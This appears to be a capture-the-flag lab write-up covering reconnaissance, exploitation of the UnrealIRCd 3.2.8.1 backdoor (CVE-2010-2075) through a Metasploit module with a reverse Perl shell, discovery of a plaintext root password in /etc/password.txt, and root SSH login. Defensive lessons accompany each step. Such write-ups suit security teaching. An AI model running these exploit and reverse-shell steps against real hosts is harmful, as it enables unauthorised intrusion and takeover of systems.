Guided Pentest: Infrastructure - The Full Kill Chain In One Short Room
A short room that walks the classical kill chain end to end against a single host: recon, exploit a known backdoor, find plaintext credentials on disk, log back in as root by SSH.
What The Room Teaches
Most beginner offensive labs focus on one piece of the kill chain. This one is short and covers all four pieces in one pass: reconnaissance, exploitation, post-exploitation, and privilege escalation.
That sequence is the standard model for how a penetration test unfolds, and it is the language every real engagement is written up in. Doing a room that hits every step in twenty minutes is a clean way to internalize the structure.
Phase 1: Reconnaissance
A standard nmap service scan.
nmap -p- -sV <TARGET_IP>
The output named UnrealIRCd 3.2.8.1 running on port 6667 (the standard IRC port). The version number is the lead. Modern attackers do not fingerprint by guessing, they grep CVE databases by exact version string.
Phase 2: Match The Version To A Known Bug
searchsploit is the offline mirror of the Exploit-DB database that ships with Kali. One query returns every publicly-archived exploit for the product.
searchsploit unrealircd
The relevant hit was CVE-2010-2075, the UnrealIRCd 3.2.8.1 backdoor. The story behind that CVE is worth knowing.
UnrealIRCd 3.2.8.1 was distributed for a brief window in 2009 and 2010 with a deliberate backdoor. Someone compromised the project’s release server and replaced the legitimate tarball with one that included a few lines of malicious code. The code accepted the magic string AB; followed by any shell command and executed it. The compromise was detected only when a user noticed that the checksum of the downloaded tarball did not match the one published on the website.
This is the textbook supply chain attack. Anything downloaded from a software project should be verified against checksums or PGP signatures, not just trusted because it came from the project’s official URL.
Phase 3: Exploitation
Metasploit has a module that wraps the backdoor:
use exploit/unix/irc/unreal_ircd_3281_backdoor
set RHOSTS <TARGET_IP>
set RPORT 6667
set payload cmd/unix/reverse_perl
set LHOST <KALI_IP>
exploit
A reverse shell landed as the user the IRC daemon ran as. The framework is doing nothing more than what a small Perl or Python script could do (and Exploit-DB ships both versions); it just packages the connection, the magic string, and the listener into one command.
Phase 4: Post-Exploitation - Read Everything
The first move after any foothold is to read what is readable. The IRC user did not have many permissions, but a quick listing of /etc/ surfaced an unusual file:
cat /etc/password.txt
The file contained the root password in plaintext. This is a credential at rest finding, and it is one of the most common real-world post-exploitation wins. Operators leave passwords in files because they need them somewhere accessible, and “accessible” frequently means world-readable.
The defensive lesson is unambiguous. Never store plaintext credentials on disk. If a service needs a password to function, load it at startup from a 0600-permission file owned by root, or read it from a real secrets manager. Never name a file password.txt and put it in a system directory.
Phase 5: Privilege Escalation
With root credentials in hand, the cleanest move is to SSH straight in as root.
ssh root@<TARGET_IP>
The shell is interactive, stable, and trivially backgroundable, which is the right state for any post-root activity. The root flag dropped from /root/.
The fact that this worked is itself a finding. Root SSH should be disabled on any host that is not specifically a jump box, with PermitRootLogin no in sshd_config. Even with the password in hand, the attacker would have had to log in as a normal user and use sudo for the elevation, which leaves an audit trail and creates a chance for endpoint detection.
Key Takeaways
- The kill chain is the universal framework: recon, exploit, post-exploit, privesc. Most real engagements look like this regardless of the target.
- Supply chain attacks are real. The UnrealIRCd backdoor is the textbook example. Verify checksums and signatures, do not trust download URLs.
- searchsploit <product> is the right opening move once a version banner is identified.
- After any foothold, read every file you can. cat /etc/password.txt is silly in retrospect but the entire privesc lived there.
- Disable root SSH (PermitRootLogin no). It is one line of config that defeats a whole class of attacks even when credentials leak.
What I’d Tell A Beginner
- Always run nmap -p- -sV first. Default top-1000 scans miss services on non-standard ports.
- Take the version banner of every fingerprinted service and run it through searchsploit before doing anything else.
- After any foothold, the second command is ls -la /etc /opt /home /root /var to find readable secrets.
- Disable root SSH on your own hosts. The “what if a password leaks” thought experiment is the whole reason.
- Read the story of the UnrealIRCd backdoor at least once. The “verify the tarball” reflex it teaches is one of the highest-leverage habits in security.
The technical version with the specific queries and screenshots is in the companion repo on GitHub.